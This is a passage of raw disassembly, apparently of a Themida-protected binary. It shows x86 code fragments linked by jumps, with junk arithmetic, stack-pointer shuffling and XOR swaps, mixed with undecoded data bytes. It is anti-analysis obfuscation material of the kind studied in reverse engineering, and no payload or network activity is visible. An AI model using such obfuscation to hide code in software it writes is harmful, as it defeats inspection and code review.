; ---------------------------------------------------------------------------

loc_509FB3:				; CODE XREF: Themida_:00512C0Bj
		push	esi
		push	edx
		jmp	loc_500C70
; ---------------------------------------------------------------------------

loc_509FBA:				; CODE XREF: Themida_:0050E5AFj
		push	dword ptr [esp]
		pop	ecx
		sub	esp, 4
		mov	[esp], edi
		mov	edi, esp
		push	ebp
		jmp	loc_50BACF
; ---------------------------------------------------------------------------

loc_509FCF:				; CODE XREF: Themida_:00500835j
		xchg	ebx, [esp]
		pop	esp
		push	edi
		sub	esp, 4
		mov	[esp], ebx
		pop	edi
		mov	ebx, [esp]
		jmp	loc_514391
; ---------------------------------------------------------------------------
		db 81h
		dd 880A83E1h, 62C98158h, 572F9E10h, 0A12295BFh,	0EF814761h
		dd 14F714BBh, 3603E781h, 0E7D10A7Bh, 6266BE56h,	0EEE964F2h
		dd 81000067h, 4C3h, 4C38100h, 0E9000000h, 9925h, 33EF68h
		dd 241C8900h, 62E90DB3h, 81000027h, 1EBh, 7C676800h, 1C890000h
		dd 241CF724h, 5569685Bh, 0C890000h, 7C14B924h, 0F9E95FC9h
		dd 5AFFFFBCh, 1761E9h, 34FF5E00h, 0C4835824h, 2C18104h
		dd 51000000h, 42474FFh,	6265E9h
		db 0
; ---------------------------------------------------------------------------

loc_50A071:				; CODE XREF: Themida_:005061A2j
		or	edx, eax
		shl	edx, 1
		jmp	loc_5062B9
; ---------------------------------------------------------------------------
		dw 1489h
aSW		db '$W',0
		align 2

loc_50A082:				; CODE XREF: Themida_:0051449Fj
		push	dword ptr [esp]
		pop	ebp
		add	esp, 4
		pop	dword ptr [esp]
		pop	esp
		push	ebp
		push	esi
		push	6C9F16DEh
		jmp	loc_511579
; ---------------------------------------------------------------------------
		db 2Dh,	0Bh, 16h
		dd 0F74855F1h, 516D35D0h, 0C1297580h, 53E98158h, 5E62F405h
		dd 3EBEE950h
		db 2 dup(0)
; ---------------------------------------------------------------------------

loc_50A0B6:				; CODE XREF: Themida_:00508023j
		add	ecx, 4
		jmp	loc_5080BE
; ---------------------------------------------------------------------------
		dw 0F781h
aC?fsj		db '/c?fj$',0
		dd 0E8E95B00h, 2DFFFFE2h, 3756476Fh, 1A6B2D5Fh,	3CE92087h
		db 0D0h, 2 dup(0FFh)
; ---------------------------------------------------------------------------

loc_50A0DF:				; CODE XREF: Themida_:0050A83Bj
		push	ebp
		push	edx
		jmp	loc_50E9E7
; ---------------------------------------------------------------------------
		dw 3489h
		dd 4EC8124h, 89000000h,	56572424h, 7933A568h, 0FAE95E3Ah
		dd 80FFFFB2h, 1C8B2DEAh, 0E1895124h, 4C181h, 5BE90000h
		dd 68FFFF79h, 579Eh, 81E28952h,	4C2h, 4EA8300h,	5C241487h
		dd 83242489h, 8F042404h, 50532404h, 7580E953h
		db 2 dup(0)
; ---------------------------------------------------------------------------

loc_50A13A:				; CODE XREF: Themida_:00502F23j
		shr	edx, 1
		jmp	loc_501301
; ---------------------------------------------------------------------------
		db 81h,	0C2h, 4
		dd 87000000h, 815C2414h, 4C5h, 4759E900h
		db 2 dup(0)
; ---------------------------------------------------------------------------

loc_50A156:				; CODE XREF: Themida_:00505276j
		xor	eax, 2B43825Ah
		xor	edx, eax
		pop	eax
		or	edx, 5AAE4AE5h
		or	edx, 1E76543h
		jmp	loc_508B22
; ---------------------------------------------------------------------------
		db 5Bh
		dd 8904EC83h, 4B82404h,	81000000h, 3B1D2FC3h, 81C30129h
		dd 3B1D2FEBh, 0A2E95829h
		db 1Dh,	2 dup(0)
; ---------------------------------------------------------------------------

loc_50A18F:				; CODE XREF: Themida_:00509F92j
		push	ebx
		push	esp
		pop	ebx
		add	ebx, 4
		sub	ebx, 4
		xor	ebx, [esp]
		xor	[esp], ebx
		xor	ebx, [esp]
		pop	esp
		mov	[esp], eax
		push	esi
		push	esp
		pop	esi
		push	eax
		push	edi
		mov	edi, 684D2527h
		add	edi, 0C1E80585h
		mov	eax, edi
		pop	edi
		not	eax
		jmp	loc_500087
; ---------------------------------------------------------------------------
		db 5Fh,	0E9h, 36h
		dd 28FFFFF8h, 71B6E9F0h, 0F581FFFFh, 4A94382Dh,	605EBF57h
		dd 0ED811637h, 56100002h, 0C581FD01h, 56100002h, 5462E95Fh
		dd 77FF0000h, 19589D1Ch, 0E99C2404h, 0FFFF5616h
; ---------------------------------------------------------------------------

loc_50A200:				; CODE XREF: Themida_:005052A9j
		push	ebx
		push	esi
		jmp	loc_5105A6
; ---------------------------------------------------------------------------
		db 81h
		dd 0B07D4EE1h, 8EBB5355h, 0C103392Ch, 3BE908EBh, 81000029h
		dd 4ECh, 24148900h, 0BAh, 0E9515000h, 0FFFF6AC7h, 0E92C77FFh
		dd 0FFFF55DEh, 515A5452h, 0A1FCE9h
		db 0
; ---------------------------------------------------------------------------

loc_50A241:				; CODE XREF: Themida_:00513E32j
		sub	esp, 4
		mov	[esp], esp
		add	dword ptr [esp], 4
		push	dword ptr [esp]
		pop	edi
		add	esp, 4
		add	edi, 4
		add	edi, 4
		jmp	loc_50BDC3
; ---------------------------------------------------------------------------
		db 83h,	0ECh, 4
		dd 0FF240489h, 58042474h, 5C24048Fh, 0E9E78957h, 0FFFF9D4Bh
		dd 5B7FE9ADh
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------

loc_50A286:				; CODE XREF: Themida_:00511AE2j
		add	ecx, 0D3623F7h
		add	ecx, edi
		sub	ecx, 0D3623F7h
		jmp	loc_508ECF
; ---------------------------------------------------------------------------

loc_50A299:				; CODE XREF: Themida_:00503CBFj
		push	ebx
		mov	ebx, esp
		jmp	loc_500829
; ---------------------------------------------------------------------------
a_sG		db ')<$_霣',0
		align 2
aNwsz		db 'Wz',9,0
		dd 6516800h, 2C890000h,	4BD24h,	0EA010000h, 4EC835Dh, 0FF241489h
		dd 5A042474h, 80A0E9h
		db 0
; ---------------------------------------------------------------------------

loc_50A2D1:				; CODE XREF: Themida_:0050395Aj
		pop	cx
		sub	dl, al
		mov	eax, [esp]
		jmp	loc_50DA90
; ---------------------------------------------------------------------------

loc_50A2DD:				; CODE XREF: Themida_:005142BFj
		mov	edx, esp
		sub	esp, 4
		mov	[esp], ebp
		mov	ebp, 4
		add	edx, ebp
		pop	ebp
		add	edx, 4
		xchg	edx, [esp]
		jmp	loc_512202
; ---------------------------------------------------------------------------
		db 89h
		dd 0B5512414h, 0F7CCE9ABh, 0D6F7FFFFh, 9098C681h, 0F2013C5Bh
		dd 0F5EA815Eh, 81879121h, 626FECEFh, 0E9D7013Ah, 0FFFF5538h
		dd 0EE6B1CB9h, 59CB292Fh, 735EEB81h, 515E1BBAh,	0B6468h
		dd 242C8900h, 73399DBDh, 0C4C1E96Dh, 0E108FFFFh, 69C98058h
		dd 99B35366h, 5B66D930h, 44E9FD2Ch
		db 0D8h, 2 dup(0FFh)
; ---------------------------------------------------------------------------

loc_50A35B:				; CODE XREF: Themida_:0050CCD1j
		push	dword ptr [esp]
		jmp	loc_50263C
; ---------------------------------------------------------------------------
		db 0FFh
		dd 669D1C77h, 241CD359h, 54A4E99Ch, 8166FFFFh, 667DC4EBh
		dd 0AE9DF89h, 8100007Ch, 0B00F58EDh, 0E9EDD141h, 3376h
		dd 0D8F6B1B0h, 0FFEF92E9h, 24148BFFh, 4C481h, 29E90000h
		db 0DFh, 2 dup(0FFh)
; ---------------------------------------------------------------------------

loc_50A3A3:				; CODE XREF: Themida_:0050D133j
		add	ebp, eax
		pop	eax
		sub	ebp, 0D5F7375h
		mov	esi, [esp]
		add	esp, 4
		xor	ebp, [esp]
		xor	[esp], ebp
		xor	ebp, [esp]
		pop	esp
		mov	[esp], eax
		jmp	loc_4FF816
; ---------------------------------------------------------------------------
		db 29h
		dd 0D7F75EF7h, 9319E9h
		db 0
; ---------------------------------------------------------------------------

loc_50A3D1:				; CODE XREF: Themida_:005062CBj
		mov	[esp], edx
		push	ecx
		push	4B281C60h
		pop	ecx
		inc	ecx
		add	ecx, 5CC94876h
		jmp	loc_5074E5
; ---------------------------------------------------------------------------

loc_50A3E7:				; CODE XREF: Themida_:00510BA0j
		sub	ebx, 4
		xchg	ebx, [esp]
		jmp	loc_5138E5
; ---------------------------------------------------------------------------

loc_50A3F2:				; CODE XREF: Themida_:00510D1Dj
		add	edi, 4
		add	edi, 4
		xchg	edi, [esp]
		pop	esp
		pop	dword ptr [esp]
		mov	esp, [esp]
		mov	ax, [esp]
		sub	esp, 4
		mov	[esp], edi
		push	26BDh
		jmp	loc_500A62
; ---------------------------------------------------------------------------

loc_50A41C:				; CODE XREF: Themida_:00508F54j
		add	edx, eax
		sub	edx, 5CC66A4h
		push	eax
		push	esi
		mov	esi, 705B1C07h
		jmp	loc_5019C0
; ---------------------------------------------------------------------------

loc_50A430:				; CODE XREF: Themida_:005077CFj
		mov	[esp], bx
		push	ecx
		sub	esp, 2
		mov	[esp], ax
		jmp	loc_514204
; ---------------------------------------------------------------------------

loc_50A441:				; CODE XREF: Themida_:005027E2j
		add	ebx, ecx
		pop	ecx
		push	eax
		mov	eax, 9D23AEEh
		add	eax, 0FFFFFFFFh
		inc	eax
		or	eax, 0A820511h
		neg	eax
		jmp	loc_502EB4
; ---------------------------------------------------------------------------
		dw 0F889h
a_ha		db '_h=',0
		align 2
		dw 1489h
aSps		db '$Ps',0
		align 2
		dw 835Eh
		dd 0C8904ECh, 783AE924h
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------

loc_50A476:				; CODE XREF: Themida_:00507E7Dj
		sub	edi, 4
		xchg	edi, [esp]
		mov	esp, [esp]
		jmp	loc_51312B
; ---------------------------------------------------------------------------
		dd 2434FF59h, 4B9CE9h, 4C48300h, 5C580B05h, 240C8B0Ah
		dd 0E904C483h, 8465h, 8B4807BEh, 0A4E94643h, 8900008Fh
		dd 4C181E1h, 81000000h,	4E9h, 240C8700h, 2404895Ch, 0FFB21BE9h
		dd 4C381FFh, 87000000h,	85E9241Ch
		db 16h,	2 dup(0)
; ---------------------------------------------------------------------------

loc_50A4D3:				; CODE XREF: Themida_:00500CAAj
		push	eax
		jmp	loc_51134B
; ---------------------------------------------------------------------------

loc_50A4D9:				; CODE XREF: Themida_:005030E9j
		not	edi
		add	edi, 0C7F69559h
		mov	ebx, edi
		pop	edi
		shl	ebx, 2
		shr	ebx, 4
		push	322Dh
		jmp	loc_5014AC
; ---------------------------------------------------------------------------

loc_50A4F4:				; CODE XREF: Themida_:00507569j
		add	edx, 4
		jmp	loc_512199
; ---------------------------------------------------------------------------

loc_50A4FF:				; CODE XREF: Themida_:0050FC20j
		sub	edi, ecx
		pop	ecx
		mov	ebp, edi
		push	dword ptr [esp]
		pop	edi
		add	esp, 4
		push	edi
		jmp	loc_50565F
; ---------------------------------------------------------------------------
		db 81h,	0EBh, 8Bh
		dd 81ED24F0h, 815754C7h, 81DF2976h, 815754EFh, 0C7815B76h
		dd 0D0017B2h, 0EF81DF29h, 0D0017B2h, 104BBB53h,	0DF01536Eh
		dd 0C4EF815Bh, 5341A860h, 6D8FE9h, 24348B00h, 5204C483h
		dd 42474FFh, 0E924148Bh, 0FFFF9DC1h
; ---------------------------------------------------------------------------

loc_50A55C:				; CODE XREF: Themida_:005149E7j
		mov	[esp], ecx
		jmp	loc_500793
; ---------------------------------------------------------------------------

loc_50A564:				; CODE XREF: Themida_:00501519j
		push	esi
		sub	dword ptr [esp], 37385342h
		jmp	loc_5080D6
; ---------------------------------------------------------------------------

loc_50A571:				; CODE XREF: Themida_:005026B0j
		sub	ebp, edi
		pop	edi
		jmp	loc_510EBC
; ---------------------------------------------------------------------------

loc_50A579:				; CODE XREF: Themida_:0050C414j
		push	esi
		mov	esi, 3D304757h
		mov	edx, 3D30475Bh
		sub	edx, esi
		pop	esi
		add	ecx, edx
		pop	edx
		push	724Ch
		mov	[esp], esi
		push	2018h
		mov	[esp], ebx
		jmp	loc_50CC85
; ---------------------------------------------------------------------------
		db 0F7h
		dd 6EB951D0h, 8158E57Ch, 0E1AC5F1h, 27F18174h, 0E9C23B71h
		dd 56Fh
; ---------------------------------------------------------------------------

loc_50A5B8:				; CODE XREF: Themida_:00503B29j
		inc	eax
		sub	eax, 1
		shl	eax, 2
		xor	eax, 206A745Ah
		shr	eax, 4
		xor	eax, 3C8B737h
		add	edx, eax
		pop	eax
		push	edx
		push	dword ptr [esp+4]
		pop	edx
		pop	dword ptr [esp]
		mov	esp, [esp]

loc_50A5DD:				; CODE XREF: Themida_:loc_5027E7j
		push	7689h
		mov	[esp], esi
		mov	esi, esp
		push	4767h
		mov	[esp], edi
		mov	edi, 41B008A8h
		push	edx
		mov	edx, 39CB017Dh
		jmp	loc_513F72
; ---------------------------------------------------------------------------

loc_50A5FF:				; CODE XREF: Themida_:005054A6j
		pop	esi
		add	esp, 4
		push	ebp
		mov	ebp, 4
		add	esi, 77EE775Dh
		add	esi, ebp
		sub	esi, 77EE775Dh
		jmp	loc_5098A3
; ---------------------------------------------------------------------------
		dd 81664966h, 6693DCC1h, 6659CF89h, 6603EFC1h, 2457C781h
		dd 5FFD8966h, 0FFEE0FE9h, 2EC581FFh, 0E9FD2614h, 0FFFFAA21h
		dd 0FF2434FFh, 815B2434h, 4C4h,	0E9545600h, 0FFFFBADBh
; ---------------------------------------------------------------------------

loc_50A658:				; CODE XREF: Themida_:005005E7j
		push	esi
		mov	esi, 4
		add	ecx, esi
		jmp	loc_50DB62
; ---------------------------------------------------------------------------

loc_50A665:				; CODE XREF: Themida_:00507FCEj
		xor	ecx, 6F1E2BC9h
		shl	ecx, 4
		jmp	loc_50FB3C
; ---------------------------------------------------------------------------
		db 53h
		dd 0D7F6B1B7h, 0EB6E9h
		db 0
; ---------------------------------------------------------------------------

loc_50A67D:				; CODE XREF: Themida_:00513294j
		mov	[esp], edx
		push	4000h
		pop	edx
		jmp	loc_50D2E4
; ---------------------------------------------------------------------------

loc_50A68B:				; CODE XREF: Themida_:00501207j
		push	ecx
		mov	ecx, 360675Ah
		xor	ecx, edi
		xor	edi, ecx
		xor	ecx, edi
		push	edi
		not	dword ptr [esp]
		jmp	loc_509180
; ---------------------------------------------------------------------------
		dd 0CBE5651h, 0B9636C11h, 9C93EEF8h, 0E95EF101h, 4843h
		dd 3F5970BBh, 94C38152h, 1ADC0A6h, 241C8BDFh, 4C481h, 0B9510000h
		dd 4, 937FE9h, 2434FF00h, 0E92434FFh, 0FFFFC89Bh, 44015E59h
		dd 0AEE90424h
		db 2, 2	dup(0)
; ---------------------------------------------------------------------------

loc_50A6EB:				; CODE XREF: Themida_:00500674j
		add	esi, 962745h
		sub	eax, esi
		jmp	loc_50677B
; ---------------------------------------------------------------------------

loc_50A6F8:				; CODE XREF: Themida_:0050C98Cj
		push	edi
		mov	edi, 4
		sub	ebp, edi
		mov	edi, [esp]
		add	esp, 4
		xchg	ebp, [esp]
		mov	esp, [esp]
		mov	[esp], eax
		jmp	loc_4FF816
; ---------------------------------------------------------------------------
		dd 0EF20E95Bh, 0D129FFFFh, 73FAE9h, 4EC8100h, 89000000h
		dd 2BD242Ch, 1000000h, 2434FFEBh, 4C4835Dh, 31241C33h
		dd 1C33241Ch, 24248B24h, 24048F66h, 0FFF53BE9h
		db 0FFh
; ---------------------------------------------------------------------------

loc_50A74D:				; CODE XREF: Themida_:00503342j
		add	ebx, 4
		push	eax
		mov	eax, 317F2CD7h
		add	eax, 1A06759Dh
		not	eax
		sub	eax, 14DF4383h
		shr	eax, 1
		xor	eax, 4FCD8D00h
		add	ebx, eax
		pop	eax
		xchg	ebx, [esp]
		jmp	loc_510D79
; ---------------------------------------------------------------------------
		db 5Ah
		dd 2DDE9h, 88CE8800h, 0D4F65AF4h, 0FF8800E9h, 4BE56FFh
		dd 1000000h, 5B06E9F1h
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------

loc_50A796:				; CODE XREF: Themida_:00502142j
		sub	esp, 4
		mov	[esp], eax
		mov	eax, 24h
		sub	eax, 45FE3832h
		add	eax, edi
		add	eax, 45FE3832h
		push	2BF2h
		mov	[esp], ebx
		push	4050h
		mov	[esp], eax
		push	ebx
		push	72CA75FCh
		pop	ebx
		jmp	loc_50B5FD
; ---------------------------------------------------------------------------
aUs		db 'U',27h,'>',0
		align 2
		dw 0E948h
		dd 1C41h, 42474FFh, 0FFF6B4E9h,	5B8A68FFh, 1C890000h, 0EC20E924h
		dd 0EEC1FFFFh, 95E68103h, 0E910B31Ch, 0FFFFA7AFh
; ---------------------------------------------------------------------------

loc_50A7FC:				; CODE XREF: Themida_:0050B62Bj
		pop	esp
		mov	[esp], edx
		push	2892138Eh
		jmp	loc_5032EE
; ---------------------------------------------------------------------------

loc_50A80A:				; CODE XREF: Themida_:00511909j
		pop	ebp
		push	ebx
		mov	ebx, 0
		add	ebx, eax
		mov	[ebx], ebp
		pop	ebx
		pop	eax
		mov	ebp, [esp]
		add	esp, 4
		push	eax
		mov	eax, 30h
		add	eax, edx
		xor	[eax], esi
		pop	eax
		pop	esi
		jmp	loc_501F1E
; ---------------------------------------------------------------------------
		db 66h,	8Bh, 0Ch
		dd 8633E924h
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------

loc_50A83A:				; CODE XREF: Themida_:00502C9Ej
		push	ecx
		jmp	loc_50A0DF
; ---------------------------------------------------------------------------
		dd 430AE581h, 6CE9326Ch
		db 92h,	2 dup(0FFh)
; ---------------------------------------------------------------------------

loc_50A84B:				; CODE XREF: Themida_:00510106j
		push	edi
		sub	esp, 4
		mov	[esp], esp
		add	dword ptr [esp], 4
		mov	edi, [esp]
		add	esp, 4
		push	7AEh
		mov	[esp], esi
		sub	esp, 4
		jmp	loc_50E117
; ---------------------------------------------------------------------------
		db 83h,	0C1h, 2
		dd 4EC81h, 0C0E90000h, 89FFFFC2h, 0E789243Ch, 32AAB951h
		dd 0D1F74470h, 7A36E9h,	50F8BB00h, 0E9434C59h, 6B8Fh
; ---------------------------------------------------------------------------

loc_50A8A0:				; CODE XREF: Themida_:00503F0Ej
		add	edi, edx
		add	edi, 3B3D0BE5h
		add	edi, 55CE0A26h
		jmp	loc_505FED
; ---------------------------------------------------------------------------
		db 4Fh
		dd 820F781h, 0ACE9794Dh, 0FF00008Ah, 8B042474h,	35E92404h
		dd 1FFFFB6h, 0CD815FFDh, 0BB6429h, 9B9BC581h, 0E9893E04h
		dd 8BCD015Dh, 8957240Ch, 4C781E7h, 81000000h, 4C7h, 0BB8DE900h
		dd 248BFFFFh, 24042124h, 4F14E99Ch, 0C280FFFFh,	0E9D58834h
		dd 0FFFFF747h
; ---------------------------------------------------------------------------

loc_50A90C:				; CODE XREF: Themida_:004FFBB3j
		mov	[esp], eax
		mov	eax, 4
		add	ecx, eax
		jmp	loc_50AE7F
; ---------------------------------------------------------------------------

loc_50A91B:				; CODE XREF: Themida_:00502637j
		push	3C6Dh
		mov	[esp], edi
		mov	edi, esp
		jmp	loc_502629
; ---------------------------------------------------------------------------
		dw 0BE56h
		dd 258F5882h, 0E63CC681h, 0B5E914C8h, 89FFFFD3h, 25E9241Ch
		db 0C4h, 2 dup(0FFh)
; ---------------------------------------------------------------------------

loc_50A943:				; CODE XREF: Themida_:0050CCF3j
		xor	[esp], eax
		xor	eax, [esp]
		mov	esp, [esp]
		shr	eax, 12h
		xor	eax, ecx
		jmp	loc_502CAC
; ---------------------------------------------------------------------------

loc_50A956:				; CODE XREF: Themida_:005040F3j
		jz	loc_5073A4
		push	76FAh
		jmp	loc_50E617
; ---------------------------------------------------------------------------

loc_50A966:				; CODE XREF: Themida_:0050861Cj
		pop	ebp
		sub	esp, 4
		mov	[esp], esi
		mov	esi, 4
		sub	eax, esi
		mov	esi, [esp]
		add	esp, 4
		xchg	eax, [esp]
		jmp	loc_5149E6
; ---------------------------------------------------------------------------

loc_50A985:				; CODE XREF: Themida_:00512E4Dj
		mov	eax, 6596297Bh
		jmp	loc_50423D
; ---------------------------------------------------------------------------

loc_50A98F:				; CODE XREF: Themida_:0050080Ej
		mov	edi, esi
		mov	ebx, edi
		pop	edi
		jmp	loc_50B875
; ---------------------------------------------------------------------------
		db 0FFh, 34h, 24h
		dd 8324048Bh, 0C48304C4h, 242C8B04h, 81E28952h,	4C2h, 85DEE900h
		dd 0FB310000h, 0E7C1DF31h, 0F7CF8702h, 31CF31D1h, 81CF31F9h
		dd 360D09EFh, 747B2D96h, 0F8293DE3h, 0E3747B05h, 2434FF3Dh
		dd 83243C8Bh, 0C48304C4h, 0E846E904h
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------

loc_50A9EA:				; CODE XREF: Themida_:0050BB87j
		push	dword ptr [esp+4]
		mov	ecx, [esp]
		jmp	loc_511421
; ---------------------------------------------------------------------------

loc_50A9F6:				; CODE XREF: Themida_:0050F6A6j
		push	dword ptr [esp]
		jmp	loc_50DCDE
; ---------------------------------------------------------------------------

loc_50A9FE:				; CODE XREF: Themida_:00511408j
		pop	ebx
		xchg	ecx, [esp]
		pop	esp
		push	ecx
		jmp	loc_51441A
; ---------------------------------------------------------------------------

loc_50AA09:				; CODE XREF: Themida_:0050AD8Aj
		sub	ebp, edi
		pop	edi
		xchg	ebp, [esp]
		pop	esp
		mov	[esp], edx
		push	0D73h
		mov	[esp], ebx
		push	eax
		mov	ah, 0CDh
		mov	bl, 0D2h
		sub	bl, ah
		pop	eax
		mov	dh, bl
		pop	ebx
		add	dh, 18h
		sub	al, dh
		jmp	loc_504651
; ---------------------------------------------------------------------------
		dd 0E9240C8Bh, 6507h, 3EE02D59h, 0F0017B0Ah, 0A3EE005h
		dd 55D02D7Bh, 348B0900h, 4EC8324h, 89240489h, 0A2EEE9E0h
		dd 89500000h, 0E9C689E8h, 30ACh
; ---------------------------------------------------------------------------

loc_50AA64:				; CODE XREF: Themida_:0050C09Ej
		neg	dl
		neg	dl
		or	dl, 0C8h
		jmp	loc_513863
; ---------------------------------------------------------------------------
		dd 815EF001h, 4ECh, 24048900h, 42474FFh, 582434FFh, 51E78957h
		dd 1F054EB9h, 47CCE907h, 15680000h, 0E9000010h,	6698h
		dd 8B2414F7h, 0C4812414h, 4, 5707E2C1h,	0E5A21BFh, 0F7EFD17Dh
		dd 0E95250DFh, 9AFFh, 162CB850h, 0C729D585h, 38EA8158h
		dd 1017646h, 38C281FAh,	5F017646h, 0FFFC41E9h, 241489FFh
		dd 0E24B86BAh, 1685682Ch, 0B0E90000h, 80FFFF64h, 0DCF671C4h
		dd 805DE480h, 0EC80AECCh, 0F848E965h
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------

loc_50AAFE:				; CODE XREF: Themida_:0050E03Bj
		mov	esi, 779D14F8h
		mov	ebp, esi
		jmp	loc_50F73D
; ---------------------------------------------------------------------------
		dw 0B652h
		dd 9FE9808Fh, 9A16E9h
		db 0
; ---------------------------------------------------------------------------

loc_50AB15:				; CODE XREF: Themida_:00511F4Cj
		add	al, ch
		pop	ecx
		push	ebx
		mov	bh, 0ABh
		dec	bh
		neg	bh
		sub	bh, 0
		jmp	loc_51077D
; ---------------------------------------------------------------------------
		db 1
aY1SJ		db 'Y1J',0
		db 0
; ---------------------------------------------------------------------------

loc_50AB31:				; CODE XREF: Themida_:0050F584j
		pop	ecx
		mov	cl, dh
		pop	edx
		or	dl, cl
		mov	cx, [esp]
		add	esp, 2
		jmp	loc_5036B6
; ---------------------------------------------------------------------------

loc_50AB43:				; CODE XREF: Themida_:00501F36j
		pop	ecx
		add	ecx, edi
		push	dword ptr [esp]
		mov	edi, [esp]
		add	esp, 4
		add	esp, 4
		push	esi
		mov	esi, 4AC4042Ch
		add	esi, 0FFFFFFFFh
		inc	esi
		sub	esi, 0E2F1893Bh
		add	ecx, esi
		mov	esi, [esp]
		add	esp, 4
		jmp	loc_506EA8
; ---------------------------------------------------------------------------
		db 66h,	50h, 0F6h
		dd 66012454h, 66E18658h, 88CF8853h, 8311E9D1h, 0E368FFFFh
		dd 81000021h, 4ECh, 24248900h, 4240481h, 8F000000h, 4812404h
		dd 424h, 0D2E95D00h, 330000A0h,	34312434h, 24343324h, 0E924248Bh
		dd 50Ah, 75C1E953h, 3C8BFFFFh, 5B9CE924h, 0F75B0000h, 0BA524BDBh
		dd 0E98DDC1Ch, 0C5E9D331h, 81000075h, 1609ECC6h, 3AF6812Ch
		dd 8340A37Ah, 0B85001EEh, 2EB528E3h, 3A5B2F25h,	720D4855h
		dd 57481001h, 344CE9h, 59CD0100h, 0ED81FD01h, 7FFF523Bh
		dd 4670C581h, 3C8B3A58h, 4C48324h, 2C581h, 2C870000h, 94E95C24h
		dd 81000000h, 4ECh, 241C8900h, 0FF6E75E9h, 2EDA35FFh, 0E2D5AC0h
		dd 1CF10A7h, 0EDC158C5h, 0B4F58102h, 87233926h,	906EE9F5h
		dd 8953FFFFh, 4C381E3h,	57000000h, 4BFh, 5FFB0100h, 5C241C87h
		dd 4BA4E95Bh, 0F681FFFFh, 55CD6243h, 1BF2BB53h,	0DE2173E2h
		dd 0E9D6875Bh, 0FFFFE9FFh, 4E5C14Dh, 7805ED81h,	0C581571Fh
		dd 0F2E93AE2h, 0E95DEB21h, 2E18h
; ---------------------------------------------------------------------------

loc_50ACA0:				; CODE XREF: Themida_:0050F9BAj
		sub	edi, ebx
		add	edi, 23E63FF5h
		pop	ebx
		xor	eax, edi
		push	dword ptr [esp]
		jmp	loc_5118A9
; ---------------------------------------------------------------------------
		db 5Bh
		dd 388BEA81h, 70E9649Ah, 66FFFFC8h, 9C240CD3h, 0FF4B4DE9h
		db 0FFh
; ---------------------------------------------------------------------------

loc_50ACC9:				; CODE XREF: Themida_:00501C7Fj
		pop	esp
		push	edx
		add	dword ptr [esp], 537D7FD8h
		mov	esi, [esp]
		add	esp, 4
		jmp	loc_50416A
; ---------------------------------------------------------------------------
		db 58h,	50h, 88h
		dd 0E9E388ECh, 0FFFF9EDAh, 0AE25E868h, 59E95D0Ch
		db 20h,	2 dup(0)
; ---------------------------------------------------------------------------

loc_50ACF3:				; CODE XREF: Themida_:0050C0BBj
		mov	ecx, esp
		add	ecx, 4
		add	ecx, 4
		xchg	ecx, [esp]
		pop	esp
		jmp	loc_50FC02
; ---------------------------------------------------------------------------
		dw 159h
		dd 2434FFFDh, 4C4815Fh,	81000000h, 6C0CAAEDh, 8BEF0114h
		dd 5457242Ch, 4C7815Fh,	83000000h, 3C8704C7h, 24248B24h
		dd 4C781h, 0EC830000h, 243C8904h, 42474FFh, 4875E95Fh
		db 2 dup(0)
; ---------------------------------------------------------------------------

loc_50AD4A:				; CODE XREF: Themida_:0050F1D2j
		pop	ebx
		jmp	loc_502F0A
; ---------------------------------------------------------------------------
aFqf		db 'fQf',0
		align 2
		dw 2966h
		dd 0CE8766F1h, 81665966h, 66C05DEEh, 6639A805h,	2D66F029h
		dd 0AAE939A8h, 56000022h, 0E9095E5Dh, 8102E95Dh
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------

loc_50AD7E:				; CODE XREF: Themida_:0050B746j
		add	ebp, 4
		push	edi
		mov	edi, 4
		jmp	loc_50AA09
; ---------------------------------------------------------------------------
		db 53h
		dd 300F7CBBh, 8BDF0145h, 0C481241Ch, 4,	525968h, 242C8900h
		dd 9D71D8BDh, 5DEF2949h, 5D545558h, 4C581h, 0ED810000h
		dd 4, 0E9242C87h, 0FFFF785Bh, 4C481h, 0E9560000h, 9EFCh
; ---------------------------------------------------------------------------

loc_50ADD4:				; CODE XREF: Themida_:00507D0Dj
		push	edi
		mov	edi, 0C0818004h
		sub	esi, edi
		pop	edi
		jmp	loc_514936
; ---------------------------------------------------------------------------

loc_50ADE2:				; CODE XREF: Themida_:00505B53j
		add	esi, 4
		sub	esi, 4
		jmp	loc_507EDF
; ---------------------------------------------------------------------------
		dd 0C688D888h, 2434FF58h, 0FF5601E9h, 241C8BFFh, 4C481h
		dd 0C8B0000h, 4C48324h,	0B60FC330h, 48F66C0h, 49FCE987h
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------

loc_50AE1A:				; CODE XREF: Themida_:005064B9j
		and	edi, 325B63E0h
		shr	edi, 3
		sub	edi, 9A39D8C5h
		sub	esp, 4
		mov	[esp], ebp
		mov	ebp, 4E4E18BCh
		or	edi, ebp
		jmp	loc_505105
; ---------------------------------------------------------------------------
		db 0ADh
		dd 4947FE2Dh, 0EC81524Eh, 4, 0FFDD84E9h, 24348BFFh, 0FF6D02E9h
		dd 0EFE95AFFh, 0BBFFFF56h, 77E44AAh, 81FFEB83h,	0C950C0E3h
		dd 0FEB95173h, 0E950923Ah, 5A5Fh, 0C15FFB01h, 3AE908EBh
		db 2Dh,	2 dup(0)
; ---------------------------------------------------------------------------

loc_50AE7F:				; CODE XREF: Themida_:0050A916j
		push	dword ptr [esp]
		pop	eax
		add	esp, 4
		xor	ecx, [esp]
		xor	[esp], ecx
		xor	ecx, [esp]
		mov	esp, [esp]
		push	dword ptr [esp]
		pop	eax
		push	edx
		mov	edx, esp
		add	edx, 4
		sub	edx, 4
		xor	edx, [esp]
		xor	[esp], edx
		xor	edx, [esp]
		mov	esp, [esp]
		mov	[esp], edx
		push	esp
		pop	edx
		jmp	loc_50E94B
; ---------------------------------------------------------------------------

loc_50AEBB:				; CODE XREF: Themida_:005022FAj
		push	edx
		mov	edx, 4
		mov	ecx, edx
		jmp	loc_50B900
; ---------------------------------------------------------------------------
		dd 0EC815159h, 4, 0FF99D6E9h, 243433FFh, 4C4815Ch, 0E9000000h
		dd 0FFFF4932h, 81D830ACh, 4ECh,	241C8900h, 3DEA68h, 240C8900h
		dd 0E980D3B1h, 9490E9FFh
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------

loc_50AF02:				; CODE XREF: Themida_:00500A87j
		mov	eax, 1531F72h
		add	eax, 4FE82165h
		neg	eax
		dec	eax
		dec	eax
		inc	eax
